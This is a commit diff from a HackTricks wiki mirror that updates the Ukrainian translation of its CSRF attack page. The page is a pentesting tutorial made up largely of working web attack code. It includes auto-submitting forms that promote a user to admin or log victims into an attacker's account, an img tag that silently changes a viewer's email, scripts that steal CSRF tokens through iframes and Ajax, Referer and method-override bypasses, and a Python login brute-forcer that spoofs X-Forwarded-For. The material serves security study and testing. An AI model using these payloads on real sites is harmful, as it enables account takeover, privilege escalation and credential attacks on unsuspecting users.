maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']

Browse Source
This commit is contained in:
Translator 2025-09-29 22:32:27 +00:00
parent f179714cd7
commit 8c6b6dc44a
2 changed files with 168 additions and 78 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -487,6 +487,7 @@
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)

245
src/pentesting-web/csrf-cross-site-request-forgery.md
View File

@ -2,51 +2,58 @@
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Пояснення
## Cross-Site Request Forgery (CSRF) — пояснення
**Cross-Site Request Forgery (CSRF)** — це тип вразливості безпеки у веб-застосунках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, використовуючи їхні автентифіковані сесії. Атака відбувається, коли користувач, який увійшов у платформу жертви, відвідує шкідливий сайт. Цей сайт ініціює запити до облікового запису жертви за допомогою виконання JavaScript, відправлення форм або завантаження зображень.
**Cross-Site Request Forgery (CSRF)** — це тип уразливості в веб‑застосунках. Він дозволяє нападникові виконувати дії від імені не підозрюваного користувача, експлуатуючи його автентифіковану сесію. Атака здійснюється, коли користувач, який увійшов у платформу-жертву, відвідує зловмисний сайт. Цей сайт потім тригерить запити до облікового запису жертви за допомогою виконання JavaScript, відправки форм або завантаження зображень.
### Передумови для CSRF-атаки
Щоб експлуатувати вразливість CSRF, мають бути виконані кілька умов:
Щоб експлуатувати уразливість CSRF, повинні виконуватися кілька умов:
1. **Identify a Valuable Action**: Зловмиснику потрібно знайти дію, яку варто експлуатувати — наприклад, зміна пароля користувача, email або підвищення привілеїв.
2. **Session Management**: Сесія користувача має керуватися виключно через cookies або заголовок HTTP Basic Authentication, оскільки інші заголовки не можна маніпулювати для цієї мети.
3. **Absence of Unpredictable Parameters**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть запобігти атаці.
1. **Виявити цінну дію**: нападникові потрібно знайти дію, яку варто експлуатувати — наприклад, зміна пароля, email або підвищення привілеїв.
2. **Управління сесією**: сесія користувача має керуватися виключно через cookies або заголовок HTTP Basic Authentication, оскільки інші заголовки не можна підмінити для цієї мети.
3. **Відсутність непередбачуваних параметрів**: запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаку.
### Швидка перевірка
Ви можете **захопити запит у Burp** і перевірити захист від CSRF, а для тестування з браузера можна натиснути **Copy as fetch** та переглянути запит:
Ви можете **перехопити запит у Burp** та перевірити захист від CSRF, а щоб протестувати з браузера, можна натиснути **Copy as fetch** і переглянути запит:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Захист від CSRF
Можна застосувати кілька контрзаходів для захисту від CSRF-атак:
Можна застосувати кілька контрзаходів для захисту від CSRF:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Цей атрибут забороняє браузеру відправляти cookies разом із крос-сайт запитами. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS сайту жертви може впливати на можливість здійснення атаки, особливо якщо атака вимагає читання відповіді від сайту жертви. [Learn about CORS bypass](cors-bypass.md).
- **Перевірка користувача**: Запит пароля користувача або вирішення captcha можуть підтвердити намір користувача.
- **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти переконатися, що запити надходять із довірених джерел. Однак ретельно сконструйовані URL можуть обійти погано реалізовані перевірки, наприклад:
- Використання `http://mal.net?orig=http://example.com` (URL закінчується на довірений URL)
- Використання `http://example.com.mal.net` (URL починається з довіреного URL)
- **Зміна імен параметрів**: Зміна імен параметрів у POST чи GET запитах може ускладнити автоматизовані атаки.
- **CSRF Tokens**: Включення унікального CSRF token для кожної сесії та вимога цього токена у наступних запитах значно зменшує ризик CSRF. Ефективність токена можна підсилити через застосування CORS.
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): цей атрибут заважає браузеру відправляти cookies разом із cross-site запитами. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): політика CORS сайту-жертви може впливати на здійсненність атаки, особливо якщо атака вимагає читання відповіді від сайту-жертви. [Learn about CORS bypass](cors-bypass.md).
- **Підтвердження користувача**: запит пароля користувача або вирішення captcha може підтвердити намір користувача.
- **Перевірка Referrer або Origin заголовків**: валідація цих заголовків допомагає переконатися, що запити надходять із довірених джерел. Проте ретельно сформовані URL можуть обійти погано реалізовані перевірки, наприклад:
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
- **Зміна назв параметрів**: зміна імен параметрів у POST або GET запитах може ускладнити автоматичні атаки.
- **CSRF Tokens**: включення унікального CSRF токену для кожної сесії і вимога цього токена в наступних запитах значно знижує ризик CSRF. Ефективність токену можна підвищити через застосування CORS.
Розуміння та впровадження цих захистів є критичними для підтримання безпеки та цілісності веб-застосунків.
Розуміння і впровадження цих захистів критично важливе для підтримання безпеки і цілісності веб‑застосунків.
## Defences Bypass
#### Поширені помилки у захисті
### From POST to GET (method-conditioned CSRF validation bypass)
- SameSite pitfalls: `SameSite=Lax` все ще дозволяє топ‑левел навігації між сайтами, наприклад посилання та GET‑форми, тому багато GET‑орієнтованих CSRF залишаються можливими. Див. cookie matrix в [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
- Header checks: валідовуйте `Origin`, коли він присутній; якщо одночасно `Origin` та `Referer` відсутні — відмовляйте у запиті. Не покладайтесь на перевірки підрядків/регексів `Referer`, які можна обійти за допомогою лука‑алайк доменів або сконструйованих URL, і зверніть увагу на трюк зі `meta name="referrer" content="never"`, який пригнічує відправку Referer.
- Method overrides: сприймайте перевизначені методи (`_method` або override заголовки) як такі, що змінюють стан, і застосовуйте CSRF‑перевірку до фактичного методу, а не тільки до POST.
- Login flows: застосовуйте захист від CSRF і до логіну; інакше login CSRF дозволяє примусово повторно автентифікуватися в облікові, контрольованому нападником, що може ланцюжитися зі stored XSS.
Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:
## Обхід захистів
### З POST на GET (обхід перевірки CSRF, залежної від методу)
Деякі застосунки застосовують перевірку CSRF лише для POST, пропускаючи її для інших HTTP‑дієслів. Поширена погана практика у PHP виглядає так:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
Якщо вразливий endpoint також приймає параметри з $_REQUEST, ви можете повторно виконати ту саму дію як GET-запит і повністю опустити CSRF token. Це перетворює дію, призначену тільки для POST, на GET-запит, що виконується без токена.
Якщо вразливий endpoint також приймає параметри з $_REQUEST, ви можете повторно виконати ту ж дію як GET-запит і зовсім опустити CSRF-токен. Це перетворює дію, призначену тільки для POST, на GET-дію, яка успішно виконується без токена.
Приклад:
@ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi
```
Примітки:
- Цей шаблон часто зустрічається разом із reflected XSS, коли відповіді помилково віддаються як text/html замість application/json.
- Поєднання цього з XSS значно знижує бар'єри для експлуатації, оскільки можна доставити єдине GET-посилання, яке і тригерить вразливий код, і повністю обходить перевірки CSRF.
- Цей шаблон часто зустрічається поруч з reflected XSS, коли відповіді неправильно віддаються як text/html замість application/json.
- Поєднання цього з XSS значно знижує бар'єри для експлуатації, оскільки ви можете доставити одне GET-посилання, яке і запускає вразливий шлях виконання, і повністю оминає перевірки CSRF.
### Відсутність токена
Додатки можуть реалізовувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка повністю пропускається, коли токен відсутній. Атакувальники можуть скористатися цим, **видаливши параметр**, який містить токен, а не лише його значення. Це дозволяє їм обійти процес валідації і ефективно провести Cross-Site Request Forgery (CSRF) атаку.
Застосунки можуть реалізувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка повністю пропускається, коли токен відсутній. Атакувальники можуть скористатися цим, **видаляючи параметр**, який несе токен, а не лише його значення. Це дозволяє їм обійти процес валідації та ефективно провести Cross-Site Request Forgery (CSRF)-атаку.
### CSRF token is not tied to the user session
Більше того, деякі реалізації просто перевіряють наявність параметра, але не перевіряють його вміст, тому **порожнє значення токена приймається**. У такому випадку достатньо просто відправити запит з `csrf=`:
```http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Додатки, які не прив'язують CSRF токени до сесій користувачів, становлять значний ризик безпеки. Такі системи перевіряють токени відносно **глобального пулу**, замість того щоб гарантувати, що кожен токен прив'язаний до сесії, яка його ініціювала.
username=guest&role=admin&csrf=
```
Мінімальний PoC, який автоматично відправляється (приховування навігації за допомогою history.pushState):
```html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
```
### CSRF token не прив'язаний до сесії користувача
Ось як атакувальники це використовують:
Застосунки, які **не прив'язують CSRF токени до сесії користувача**, становлять значний **ризик безпеки**. Такі системи перевіряють токени відносно **глобального пулу**, замість того, щоб гарантувати, що кожен токен прив'язаний до сесії, яка його ініціювала.
1. **Аутентифікуватися** за допомогою власного акаунта.
2. **Отримати дійсний CSRF токен** з глобального пулу.
3. **Використати цей токен** у CSRF-атакі проти жертви.
Ось як це експлуатують нападники:
Ця вразливість дозволяє атакувальникам надсилати несанкціоновані запити від імені жертви, експлуатуючи неналежний механізм перевірки токенів у додатку.
1. **Authenticate** using their own account.
2. **Obtain a valid CSRF token** from the global pool.
3. **Use this token** in a CSRF attack against a victim.
### Обхід методу
Ця вразливість дозволяє нападникам виконувати несанкціоновані запити від імені жертви, використовуючи **недостатній механізм валідації токенів** застосунку.
Якщо запит використовує «дивний» метод, перевірте, чи працює функціональність override методу. Наприклад, якщо використовується метод PUT, можна спробувати використати POST і відправити: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
### Method bypass
Це також може спрацювати, відправивши **\_method параметр всередині POST-запиту** або використовуючи **заголовки**:
Якщо запит використовує «дивний» метод, перевірте, чи працює функціональність method override. Наприклад, якщо використовується метод **PUT/DELETE/PATCH**, можна спробувати використати **POST** і надіслати override, напр.: `https://example.com/my/dear/api/val/num?_method=PUT`.
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
Це також може спрацювати, якщо відправити параметр `_method` всередині тіла POST або використати override headers:
- `X-HTTP-Method`
- `X-HTTP-Method-Override`
- `X-Method-Override`
Поширено у фреймворках на кшталт **Laravel**, **Symfony**, **Express** та інших. Розробники іноді пропускають CSRF для не-POST вербів, вважаючи, що браузери не можуть їх виконати; з method overrides ви все одно можете дістатися до цих обробників через POST.
Example request and HTML PoC:
```http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
```
```html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
```
### Custom header token bypass
Якщо запит додає **кастомний заголовок** з **токеном** до запиту як **метод захисту CSRF**, то:
Якщо до запиту додається **custom header** з **token** як **CSRF protection method**, то:
- Перевірте запит без **кастомного токена та відповідного заголовка.**
- Перевірте запит з точно **такою ж довжиною, але іншим токеном.**
- Перевірте запит без **Customized Token** і без **header**.
- Перевірте запит із точно таким самим за довжиною, але іншим **token**.
### CSRF token is verified by a cookie
### CSRF token перевіряється за допомогою cookie
Додатки можуть реалізовувати захист від CSRF шляхом дублювання токена як у cookie, так і в параметрі запиту, або встановлюючи CSRF cookie і перевіряючи, чи відповідає токен, надісланий у запиті, значенню cookie. Застосунок валідуює запити, перевіряючи, чи співпадає токен у параметрі запиту зі значенням у cookie.
Додатки можуть реалізувати захист від CSRF шляхом дублювання token і в cookie, і в параметрі запиту, або встановивши CSRF cookie і перевіряючи, чи відповідає token, надісланий на сервер, значенню cookie. Застосунок валідуює запити, перевіряючи, чи співпадає token у параметрі запиту зі значенням cookie.
Однак цей метод вразливий до CSRF-атак, якщо на сайті є вади, що дозволяють атакувальнику встановити CSRF cookie у браузері жертви, наприклад CRLF-вразливість. Атакувальник може скористатися цим, завантаживши підступне зображення, яке встановлює cookie, а потім ініціювавши CSRF-атаку.
Однак цей метод уразливий до CSRF-атак, якщо на сайті є вади, що дозволяють атакуючому встановити CSRF cookie у браузері жертви, наприклад CRLF vulnerability. Атакуючий може скористатися цим, завантаживши підроблене зображення, яке встановлює cookie, а потім ініціювати CSRF-атаку.
Нижче наведено приклад того, як може бути структурована атака:
Нижче наведено приклад того, як може бути побудована атака:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!TIP]
> Зауважте, що якщо **csrf token пов'язаний із session cookie, ця атака не спрацює**, оскільки вам доведеться підставити session жертви у себе, і, отже, ви будете атакувати самі себе.
> Зверніть увагу, що якщо **csrf token пов'язаний із session cookie, ця атака не спрацює** оскільки вам доведеться встановити session cookie жертви у себе, і, отже, ви будете атакувати себе.
### Зміна Content-Type
Згідно з [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути preflight** запитів при використанні методу **POST**, дозволені наступні значення Content-Type:
Згідно з [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути preflight** запитів при використанні методу **POST**, дозволені такі значення Content-Type:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Однак зверніть увагу, що **логіка серверів може відрізнятися** залежно від використовуваного **Content-Type**, тому слід спробувати наведені значення та інші, такі як **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Однак зауважте, що **логіка серверів може відрізнятися** залежно від використаного **Content-Type**, тому слід спробувати згадані значення та інші, наприклад **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
Приклад (з [here](https://brycec.me/posts/corctf_2021_challenges)) надсилання JSON-даних як text/plain:
```html
<html>
<body>
@ -162,23 +209,23 @@ form.submit()
</body>
</html>
```
### Обхід preflight-запитів для JSON-даних
### Bypassing Preflight Requests for JSON Data
When attempting to send JSON data via a POST request, using the `Content-Type: application/json` in an HTML form is not directly possible. Similarly, utilizing `XMLHttpRequest` to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type:
Коли намагаються відправити JSON-дані через POST-запит, використання `Content-Type: application/json` у HTML-формі безпосередньо неможливе. Аналогічно, використання `XMLHttpRequest` для відправки цього типу контенту ініціює preflight-запит. Тим не менш, існують стратегії, які дозволяють потенційно обійти це обмеження і перевірити, чи сервер обробляє JSON-дані незалежно від Content-Type:
1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. This approach tests if the backend utilizes the data regardless of the Content-Type.
2. **Modify Content Type**: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with `Content-Type: text/plain; application/json`. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept `application/json`.
3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Use Alternative Content Types**: Використайте `Content-Type: text/plain` або `Content-Type: application/x-www-form-urlencoded`, встановивши `enctype="text/plain"` у формі. Цей підхід перевіряє, чи бекенд використовує дані незалежно від Content-Type.
2. **Modify Content Type**: Щоб уникнути preflight-запиту і при цьому змусити сервер розпізнати вміст як JSON, можна відправити дані з `Content-Type: text/plain; application/json`. Це не викликає preflight-запит, але сервер може правильно обробити такі дані, якщо він налаштований приймати `application/json`.
3. **SWF Flash File Utilization**: Менш поширений, але можливий метод — використання SWF flash-файлу для обходу таких обмежень. Для детального розуміння цієї техніки зверніться до [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Referrer / Origin check bypass
**Уникати заголовка Referer**
**Уникайте заголовка Referrer**
Додатки можуть перевіряти заголовок 'Referer' тільки коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використати наступний HTML meta tag:
Застосунки можуть перевіряти заголовок 'Referer' лише коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використати наступний HTML meta tag:
```xml
<meta name="referrer" content="never">
```
Це гарантує, що заголовок 'Referer' буде опущено, потенційно обходячи перевірки валідації в деяких додатках.
Це забезпечує, що заголовок 'Referer' опускається, потенційно дозволяючи обійти перевірки валідації в деяких додатках.
**Regexp bypasses**
@ -187,7 +234,7 @@ When attempting to send JSON data via a POST request, using the `Content-Type: a
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Щоб встановити домен сервера в URL, який Referrer збирається відправити всередині параметрів, ви можете зробити так:
Щоб встановити доменне ім'я сервера в URL, який Referrer збирається надіслати всередині параметрів, ви можете зробити так:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -216,25 +263,60 @@ document.forms[0].submit()
</body>
</html>
```
### **Обхід методу HEAD**
### **HEAD method bypass**
У першій частині [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснюється, що [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), роутер налаштовано так, щоб **handle HEAD requests as GET requests** без тіла відповіді — це поширене обхідне рішення, не унікальне для Oak. Замість спеціального обробника для HEAD-запитів їх просто **given to the GET handler but the app just removes the response body**.
Перша частина [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснює, що в [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) роутер налаштований так, щоб **обробляти HEAD-запити як GET-запити** без тіла відповіді — це поширене рішення, яке не є унікальним для Oak. Замість окремого хендлера для HEAD-запитів їх просто **передають у GET-хендлер, але додаток просто видаляє тіло відповіді**.
Отже, якщо GET-запит обмежено, можна просто **send a HEAD request that will be processed as a GET request**.
Отже, якщо GET-запит обмежується, можна просто **відправити HEAD-запит, який буде оброблений як GET-запит**.
## **Приклади експлойтів**
## **Exploit Examples**
### **Екфільтрація CSRF Token**
### Stored CSRF via user-generated HTML
Якщо використовується **CSRF token** як засіб **захисту**, можна спробувати **exfiltrate it**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.
### **GET using HTML tags**
- Якщо додаток використовує глобальний CSRF-токен, який не прив'язаний до сесії користувача, той самий токен може працювати для всіх користувачів, що робить stored CSRF надійним серед жертв.
Мінімальний приклад, що змінює електронну пошту переглядача при завантаженні:
```html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```
### Login CSRF у зв'язці зі stored XSS
Login CSRF сам по собі може мати незначний вплив, але в поєднанні з автентифікованим stored XSS він стає потужним: змусьте жертву автентифікуватися в обліковому записі, контрольованому атакуючим; опинившись у цьому контексті, stored XSS на автентифікованій сторінці виконається і зможе вкрасти tokens, захопити session або підвищити привілеї.
- Переконайтеся, що login endpoint вразливий до CSRF (немає per-session token або origin check) і що його не блокують механізми, що вимагають взаємодії користувача.
- Після примусової авторизації автоматично перейдіть на сторінку, яка містить stored XSS payload атакуючого.
Minimal login-CSRF PoC:
```html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
```
### **Екзфільтрація CSRF token**
Якщо **CSRF token** використовується як **захист**, можна спробувати **екзфільтрувати його**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
### **GET за допомогою HTML тегів**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Інші HTML5-теги, які можна використовувати для автоматичної відправки GET-запиту, включають:
Інші HTML5 теги, які можна використати для автоматичної відправки GET-запиту, це:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -263,7 +345,7 @@ background: url("...");
</video>
</audio>
```
### GET-запит форми
### Форма GET-запиту
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body>
</html>
```
### Надсилання POST-запиту форми через iframe
### Form POST-запит через iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -332,7 +414,7 @@ document.forms[0].submit()
</body>
</html>
```
### **Ajax POST request**
### **Ajax POST-запит**
```html
<script>
var xh
@ -361,7 +443,7 @@ data: "param=value&param2=value2",
})
</script>
```
### multipart/form-data POST request
### multipart/form-data POST-запит
```javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
@ -374,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST request v2
### multipart/form-data POST запит v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### POST-запит форми всередині iframe
### POST-запит форми зсередини iframe
```html
<--! expl.html -->
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **Вкрасти CSRF Token та надіслати POST-запит**
### **Вкрасти CSRF Token і відправити POST request**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Вкрасти CSRF Token та надіслати POST-запит, використовуючи iframe, form та Ajax**
### **Вкрасти CSRF Token і надіслати Post request, використовуючи iframe, form та Ajax**
```html
<form
id="form1"
@ -501,7 +583,7 @@ style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **Вкрасти CSRF Token і надіслати POST request, використовуючи iframe і form**
### **Вкрасти CSRF Token та відправити POST request за допомогою iframe і form**
```html
<iframe
id="iframe"
@ -534,7 +616,7 @@ document.forms[0].submit.click()
}
</script>
```
### **Вкрасти token і відправити його, використовуючи 2 iframes**
### **Вкрасти token та відправити його, використовуючи 2 iframes**
```html
<script>
var token;
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF token за допомогою Ajax і відправити post через form**
### **POSTSteal CSRF token за допомогою Ajax і надіслати post через форму**
```html
<body onload="getData()">
<form
@ -617,7 +699,7 @@ room: username,
```
## CSRF Login Brute Force
Код можна використати для Brut Force форми входу, що використовує CSRF token (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе IP blacklisting):
Цей код можна використати для Brut Force форми входу, яка використовує CSRF token (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе IP blacklisting):
```python
import request
import re
@ -665,13 +747,20 @@ login(USER, line.strip())
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
## Посилання
## Джерела
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Повний посібник з CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
{{#include ../banners/hacktricks-training.md}}